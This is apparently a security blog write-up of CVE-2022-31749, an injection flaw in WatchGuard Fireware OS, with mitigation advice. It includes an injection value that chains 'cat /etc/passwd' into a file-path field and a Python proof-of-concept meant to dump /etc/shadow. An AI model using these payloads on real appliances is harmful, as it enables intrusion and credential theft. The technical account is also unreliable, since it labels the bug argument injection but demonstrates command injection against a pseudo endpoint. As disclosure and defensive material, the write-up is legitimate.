In this post, we'll break down CVE-2022-31749, a critical argument injection vulnerability discovered in WatchGuard Fireware OS before versions 12.8.1, 12.1.4, and 12.5.10. We’ll explain what it is, how attackers can exploit it, and show example code to demonstrate the impact. This write-up is meant for IT security professionals and sysadmins who want to stay protected.

What is CVE-2022-31749?

This vulnerability impacts WatchGuard Firebox and XTM appliances running unpatched versions of Fireware OS. The bug comes from improper handling of user input by the diagnose and import pac commands in the Fireware OS web management interface. An authenticated user with even low privileges can inject shell arguments, potentially reading or uploading files to arbitrary system locations that are normally off-limits.

Official Advisory

- WatchGuard Security Portal – CVE-2022-31749
- NVD Details – NIST CVE-2022-31749

Technical Background

The vulnerable endpoints take user-controlled input for diagnostic or import purposes—think troubleshooting connections, reading logs, or importing configuration. These inputs eventually get passed to shell commands without proper sanitization.

Key point: If the web interface is exposed, and a user with any account can log in, argument injection lets an attacker piggyback extra commands on the original intent.

Typical Web Request

Suppose a user uploads a configuration file (PAC file) via the web interface. A normal request might look like this (pseudo code):

POST /diag_import_pac HTTP/1.1
Host: <firebox-address>
Cookie: sidAuth=<session_cookie>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Length: ...

------WebKitFormBoundary
Content-Disposition: form-data; name="filepath"

PAC_config.pac
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="PAC_config.pac"
Content-Type: application/octet-stream

... PAC file content ...
------WebKitFormBoundary--

Injection Attack

Now, what if the filepath field is replaced with something malicious? For instance, an attacker could submit:

../../../../tmp/evil.pac; cat /etc/passwd; #

If the backend command looks like

sh -c "import_pac $filepath"

It will become

sh -c "import_pac ../../../../tmp/evil.pac; cat /etc/passwd; #"

This runs cat /etc/passwd as root, returning the sensitive system file back to the attacker.

Here’s a proof-of-concept snippet (must be adapted, only for authorized testing in your lab)

import requests

session = requests.Session()

# Log in to Fireware management interface (replace with your creds and target)
login_url = "https://<firebox-ip>/auth/login";
login_data = {"username": "testuser", "password": "password1"}
session.post(login_url, data=login_data, verify=False)

# Craft argument injection payload
evil_filename = '../../../../tmp/evil.pac;cat /etc/shadow;#'

files = {
    "file": ("evil.pac", b"dummy content"),
    "filepath": (None, evil_filename)
}

# Send exploit request
exploit_url = "https://<firebox-ip>/diag_import_pac";
response = session.post(exploit_url, files=files, verify=False)

print(response.text)

Note: Output will include the contents of /etc/shadow if the attack succeeds.

Attack Impact

- Read system files: /etc/passwd, /etc/shadow, or others

Write files: Upload files to arbitrary paths (if the backend command allows)

- Privilege escalation: Although access starts with low-privilege accounts, command injection acts as root via the web backend.

Mitigation and Fix

1. Update ASAP: Always patch to Fireware OS 12.8.1, 12.1.4, 12.5.10, or later. Download latest firmware

Web Management: Limit Web UI access to trusted management networks only.

3. User Audit: Review and restrict user accounts with web access. Remove unused, weak, or default credentials.
4. Monitor Logs: Check system logs for unexpected file reads, imports, or logged-in users from odd IPs.

References and Further Reading

- Official WatchGuard Security Advisory
- NIST NVD CVE-2022-31749 Listing
- Rapid7 Nexpose Advisory

Conclusion

CVE-2022-31749 is a classic case of argument injection through improper input sanitization on network appliances. If you use WatchGuard Fireware OS, patch immediately. Don’t expose management interfaces to the world, and always follow least-privilege for user access. Simple mistakes in web app coding can lead to root on your firewall—harden all interfaces, not just the main firewall rules!

Timeline

Published on: 01/28/2025 00:15:06 UTC